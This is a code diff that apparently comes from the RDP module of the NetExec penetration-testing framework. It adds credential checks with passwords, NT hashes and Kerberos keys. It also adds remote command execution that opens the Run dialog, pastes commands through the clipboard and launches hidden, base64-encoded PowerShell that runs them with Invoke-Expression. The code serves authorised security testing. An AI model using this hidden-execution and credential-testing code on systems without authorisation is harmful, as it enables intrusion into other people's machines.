"""Connect to the RDP server. Does NOT clean up on exit.
|
||||
|
||||
Use this when the caller needs the connection alive after connecting
|
||||
(screen, nla_screen, execute_shell). For sync callers that only need to
|
||||
know whether authentication succeeded and want guaranteed cleanup, use
|
||||
connect_rdp_with_cleanup() instead.
|
||||
When auth_only is True, performs only CredSSP/NLA authentication
|
||||
without establishing a full RDP session. This verifies credentials
|
||||
without creating a disconnected session on single-session hosts.
|
||||
"""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
|
||||
_, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout)
|
||||
if err is not None:
|
||||
raise err
|
||||
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
|
||||
|
||||
async def terminate_conn(self):
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
|
||||
@@ -209,13 +233,37 @@ class rdp(connection):
|
||||
with contextlib.suppress(Exception):
|
||||
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
|
||||
|
||||
async def connect_rdp_with_cleanup(self):
|
||||
async def connect_rdp_with_cleanup(self, auth_only=False):
|
||||
"""Connect to the RDP server and always terminate the connection on exit"""
|
||||
try:
|
||||
await self.connect_rdp()
|
||||
await self.connect_rdp(auth_only=auth_only)
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
async def login_and_confirm(self):
|
||||
"""Connect and return whether a real session opened (Save Session Info PDU), always cleaning up.
|
||||
|
||||
That PDU never comes when access is authorized but the logon is refused (restricted admin).
|
||||
"""
|
||||
try:
|
||||
await self.connect_rdp()
|
||||
try:
|
||||
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
|
||||
return True
|
||||
except TimeoutError:
|
||||
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
|
||||
return False
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def rdp_access_denied(self):
|
||||
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
|
||||
|
||||
Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
|
||||
"""
|
||||
self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
|
||||
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
try:
|
||||
lmhash = ""
|
||||
@@ -232,8 +280,6 @@ class rdp(connection):
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
|
||||
kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
|
||||
|
||||
self.hostname + "." + self.domain
|
||||
password = password if password else nthash
|
||||
|
||||
@@ -247,8 +293,14 @@ class rdp(connection):
|
||||
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
elif aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
password = aesKey
|
||||
else:
|
||||
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
|
||||
password = password if password else nthash
|
||||
|
||||
kerb_pass = password
|
||||
|
||||
kerberos_target = UniTarget(
|
||||
self.kdcHost,
|
||||
@@ -268,10 +320,22 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=stype,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
"{}\\{}{} {}".format(
|
||||
domain,
|
||||
@@ -299,8 +363,11 @@ class rdp(connection):
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
|
||||
)
|
||||
elif "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
|
||||
elif self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
elif "No such file" in str(e):
|
||||
self.logger.fail(e)
|
||||
else:
|
||||
@@ -316,6 +383,10 @@ class rdp(connection):
|
||||
)
|
||||
return False
|
||||
|
||||
def _execution_pending(self):
|
||||
"""Check if command execution will follow authentication."""
|
||||
return bool(self.args.execute or self.args.ps_execute)
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
@@ -324,10 +395,22 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.PASS,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -335,8 +418,11 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -358,10 +444,22 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.NT,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -369,8 +467,11 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -388,10 +489,11 @@ class rdp(connection):
|
||||
async def _send_keystrokes(self, text, delay=0.02):
|
||||
"""Helper method to send keystrokes to the RDP session"""
|
||||
for char in text:
|
||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = True
|
||||
await self.conn.ext_in_queue.put(key_event)
|
||||
for is_pressed in (True, False):
|
||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = is_pressed
|
||||
await self.conn.ext_in_queue.put(key_event)
|
||||
await asyncio.sleep(delay)
|
||||
|
||||
async def _send_enter(self):
|
||||
@@ -400,144 +502,241 @@ class rdp(connection):
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_virtualkey("VK_RETURN", False, False)
|
||||
|
||||
async def _send_shortcut(self, modifier, key):
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
modifier_scancode = layout.vk_to_scancode(modifier)
|
||||
key_scancode = layout.char_to_scancode(key)[0]
|
||||
|
||||
await self.conn.send_key_scancode(modifier_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, False, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(modifier_scancode, False, False)
|
||||
|
||||
async def _send_win_r(self):
|
||||
"""Helper method to send Windows+R key combination to open Run dialog"""
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
for _ in range(2):
|
||||
_, err = await self.conn.send_focus_in()
|
||||
if err is not None:
|
||||
raise err
|
||||
await self._send_shortcut("VK_LWIN", "r")
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
@staticmethod
|
||||
def _build_execution_command(payload, shell_type, marker, get_output):
|
||||
if not get_output:
|
||||
if shell_type == "cmd":
|
||||
return f"cmd.exe /d /s /c {payload}"
|
||||
if shell_type == "powershell":
|
||||
return (
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive "
|
||||
f"-WindowStyle Hidden -Command {payload}"
|
||||
)
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
|
||||
decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
|
||||
|
||||
if shell_type == "cmd":
|
||||
invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
|
||||
elif shell_type == "powershell":
|
||||
invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
|
||||
else:
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
script = f"""
|
||||
$ErrorActionPreference = 'Continue'
|
||||
{decode_payload}
|
||||
try {{
|
||||
{invoke_command}
|
||||
$succeeded = $?
|
||||
$nativeExitCode = $LASTEXITCODE
|
||||
}} catch {{
|
||||
$output = $_
|
||||
$succeeded = $false
|
||||
$nativeExitCode = $null
|
||||
}}
|
||||
$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
|
||||
$outputText = ($output | Out-String -Width 4096).TrimEnd()
|
||||
$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
[System.Windows.Forms.Clipboard]::SetText($result)
|
||||
"""
|
||||
|
||||
encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
|
||||
return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
|
||||
|
||||
@staticmethod
|
||||
def _parse_execution_result(clipboard_text, marker):
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
|
||||
|
||||
start_index = normalized.find(start_marker)
|
||||
end_index = normalized.find(end_marker, start_index + len(start_marker))
|
||||
if start_index == -1 or end_index == -1:
|
||||
return None
|
||||
|
||||
body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
|
||||
exit_code_text, separator, output = body.partition("\n")
|
||||
if not separator:
|
||||
return None
|
||||
|
||||
try:
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
exit_code = int(exit_code_text.strip())
|
||||
except ValueError:
|
||||
return None
|
||||
return exit_code, output.rstrip("\n")
|
||||
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
async def _wait_for_event(self, event_names, max_wait):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + max_wait
|
||||
|
||||
win_scancode = layout.vk_to_scancode("VK_LWIN")
|
||||
await self.conn.send_key_scancode(win_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
while True:
|
||||
if self.conn.disconnected_evt.is_set():
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
|
||||
r_scancode = layout.char_to_scancode("r")[0]
|
||||
await self.conn.send_key_scancode(r_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
|
||||
await self.conn.send_key_scancode(r_scancode, False, False)
|
||||
await asyncio.sleep(0.1)
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
|
||||
if data is None:
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
|
||||
await self.conn.send_key_scancode(win_scancode, False, False)
|
||||
event_name = getattr(getattr(data, "type", None), "name", None)
|
||||
if event_name in event_names:
|
||||
return data
|
||||
|
||||
await asyncio.sleep(0.5)
|
||||
async def _wait_for_desktop(self):
|
||||
loop = asyncio.get_running_loop()
|
||||
started_at = loop.time()
|
||||
|
||||
self.logger.debug("Win+R sent successfully")
|
||||
return True
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error sending Win+R: {e!s}")
|
||||
self.logger.debug("Using fallback approach for opening command prompt")
|
||||
return False
|
||||
if not self.conn.desktop_buffer_has_data:
|
||||
try:
|
||||
await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
|
||||
except TimeoutError:
|
||||
self.logger.debug("No desktop update received before command execution; continuing")
|
||||
|
||||
remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
|
||||
if remaining_delay > 0:
|
||||
await asyncio.sleep(remaining_delay)
|
||||
|
||||
async def _submit_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self.conn.set_current_clipboard_text(command)
|
||||
# server must acknowledge our clipboard data before we trigger the read
|
||||
response = await self._wait_for_event(
|
||||
{"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay
|
||||
)
|
||||
if not response.accepted:
|
||||
raise RuntimeError(
|
||||
"Remote session rejected the clipboard command data"
|
||||
)
|
||||
# type a one-liner that reads and executes the clipboard we just set
|
||||
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
|
||||
await self._send_keystrokes(
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
|
||||
'-WindowStyle Hidden -Command "Add-Type -AssemblyName '
|
||||
"System.Windows.Forms; Invoke-Expression "
|
||||
'([System.Windows.Forms.Clipboard]::GetText())"'
|
||||
)
|
||||
await self._send_enter()
|
||||
|
||||
async def _submit_typed_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self._send_keystrokes(command, delay=0.005)
|
||||
await self._send_enter()
|
||||
|
||||
async def _wait_for_command_result(self, marker):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + self.args.clipboard_delay
|
||||
|
||||
while True:
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
|
||||
data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
|
||||
result = self._parse_execution_result(data.data, marker)
|
||||
if result is not None:
|
||||
return result
|
||||
|
||||
async def execute_shell(self, payload, get_output, shell_type):
|
||||
# Append | clip to send output to clipboard
|
||||
if shell_type == "cmd":
|
||||
payload_with_clip = f"{payload} | clip & exit"
|
||||
elif shell_type == "powershell":
|
||||
payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
|
||||
else:
|
||||
self.logger.fail(f"Unsupported shell type: {shell_type}")
|
||||
return None
|
||||
self.logger.debug(f"Executing command: {payload_with_clip}")
|
||||
marker = uuid4().hex if get_output else None
|
||||
command = self._build_execution_command(
|
||||
payload, shell_type, marker, get_output
|
||||
)
|
||||
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
|
||||
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to RDP: {e!s}")
|
||||
if "CredSSP" in str(e) or "STATUS_LOGON" in str(e):
|
||||
self.logger.fail(f"Authentication failed: {e!s}")
|
||||
await self.terminate_conn()
|
||||
return None
|
||||
|
||||
try:
|
||||
if get_output:
|
||||
self.logger.success("Waiting for clipboard to be ready...")
|
||||
clipboard_ready = False
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
timeout_counter = 0
|
||||
while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds
|
||||
try:
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
|
||||
if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
|
||||
clipboard_ready = True
|
||||
self.logger.debug("Clipboard is ready!")
|
||||
break
|
||||
except asyncio.TimeoutError:
|
||||
timeout_counter += 1
|
||||
continue
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return ""
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
|
||||
return ""
|
||||
|
||||
if not clipboard_ready:
|
||||
try:
|
||||
await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
|
||||
return ""
|
||||
return None
|
||||
|
||||
# Wait for desktop to be available
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
await self._wait_for_desktop()
|
||||
|
||||
if get_output:
|
||||
# On first RDP logon after boot, Explorer may not be ready to
|
||||
# process Win+R immediately after the desktop appears. This
|
||||
# no-op warmup command absorbs the race: if the shell isn't
|
||||
# ready it silently fails, and the 3-second pause gives Explorer
|
||||
# time to finish initialization before the real command.
|
||||
await self._submit_typed_run_command(
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
|
||||
'-Command "Add-Type -AssemblyName System.Windows.Forms"'
|
||||
)
|
||||
await asyncio.sleep(3)
|
||||
|
||||
if get_output:
|
||||
try:
|
||||
await self._submit_run_command(command)
|
||||
except TimeoutError:
|
||||
self.logger.fail(
|
||||
"Remote session did not acknowledge the clipboard command data"
|
||||
)
|
||||
return None
|
||||
else:
|
||||
await self._submit_typed_run_command(command)
|
||||
|
||||
if not get_output:
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
return None
|
||||
|
||||
try:
|
||||
# Try to open Run dialog using Windows+R
|
||||
self.logger.debug("Attempting to open Run dialog")
|
||||
win_r_success = await self._send_win_r()
|
||||
|
||||
if win_r_success:
|
||||
self.logger.debug(f"Launching {shell_type} via Run dialog")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open
|
||||
else:
|
||||
# Fallback: Try direct command typing (assumes cmd may already be open)
|
||||
self.logger.debug(f"Sending {shell_type} command directly")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
# Type the command with | clip
|
||||
self.logger.debug(f"Typing command: {payload_with_clip}")
|
||||
await self._send_keystrokes(payload_with_clip)
|
||||
await self._send_enter()
|
||||
|
||||
# Wait for command to execute
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
if get_output:
|
||||
# Get the current clipboard text
|
||||
self.logger.debug("Getting clipboard content...")
|
||||
clipboard_text = await self.conn.get_current_clipboard_text()
|
||||
|
||||
if clipboard_text:
|
||||
self.logger.debug("Command output retrieved from clipboard:")
|
||||
for line in clipboard_text.lstrip().strip("\n").splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.fail("Clipboard is empty or contains non-text data")
|
||||
return clipboard_text
|
||||
else:
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
|
||||
self.logger.debug("Command execution completed")
|
||||
exit_code, output = await self._wait_for_command_result(marker)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Timed out waiting for command output on the RDP clipboard")
|
||||
return None
|
||||
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error during command execution: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host during command execution")
|
||||
return None
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error during command execution: {e!s}")
|
||||
if "cannot unpack non-iterable NoneType object" in str(e):
|
||||
self.logger.fail("RDP connection was terminated unexpectedly")
|
||||
else:
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
if exit_code != 0:
|
||||
self.logger.fail(f"Command completed with exit code {exit_code}")
|
||||
if output:
|
||||
for line in output.splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.debug("Command completed without output")
|
||||
return output
|
||||
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error: {e!s}")
|
||||
@@ -559,37 +758,31 @@ class rdp(connection):
|
||||
|
||||
get_output = bool(not self.args.no_output)
|
||||
|
||||
self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
|
||||
self.logger.success(f"Executing command: {payload}")
|
||||
|
||||
try:
|
||||
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
|
||||
|
||||
if result:
|
||||
if result is not None:
|
||||
self.logger.debug("Command execution completed")
|
||||
return result
|
||||
except Exception as e:
|
||||
self.logger.error(f"Command execution error: {e!s}")
|
||||
if shell_type == "cmd":
|
||||
self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
|
||||
try:
|
||||
return self.execute(payload, shell_type="powershell")
|
||||
except Exception as e2:
|
||||
self.logger.fail(f"Execute command failed, error: {e2!s}")
|
||||
else:
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
|
||||
def ps_execute(self):
|
||||
self.execute(payload=self.args.ps_execute, shell_type="powershell")
|
||||
|
||||
async def screen(self):
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
except Exception as e:
|
||||
@@ -605,8 +798,9 @@ class rdp(connection):
|
||||
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
@@ -617,7 +811,8 @@ class rdp(connection):
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
|
||||
@@ -20,8 +20,8 @@ def proto_args(parser, parents):
|
||||
cgroup = rdp_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
|
||||
return parser
|
||||
+117
-314
@@ -6,14 +6,16 @@ import struct
|
||||
import ipaddress
|
||||
from pathlib import Path
|
||||
|
||||
from nxc.helpers.path import sanitize_filename
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from Cryptodome.Hash import MD4
|
||||
from textwrap import dedent
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
|
||||
from impacket.examples.secretsdump import (
|
||||
LocalOperations,
|
||||
RemoteOperations,
|
||||
SAMHashes,
|
||||
LSASecrets,
|
||||
@@ -59,11 +61,11 @@ from impacket.smb3structs import (
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
|
||||
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
|
||||
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
||||
from nxc.connection import connection, sem, requires_admin
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string, validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
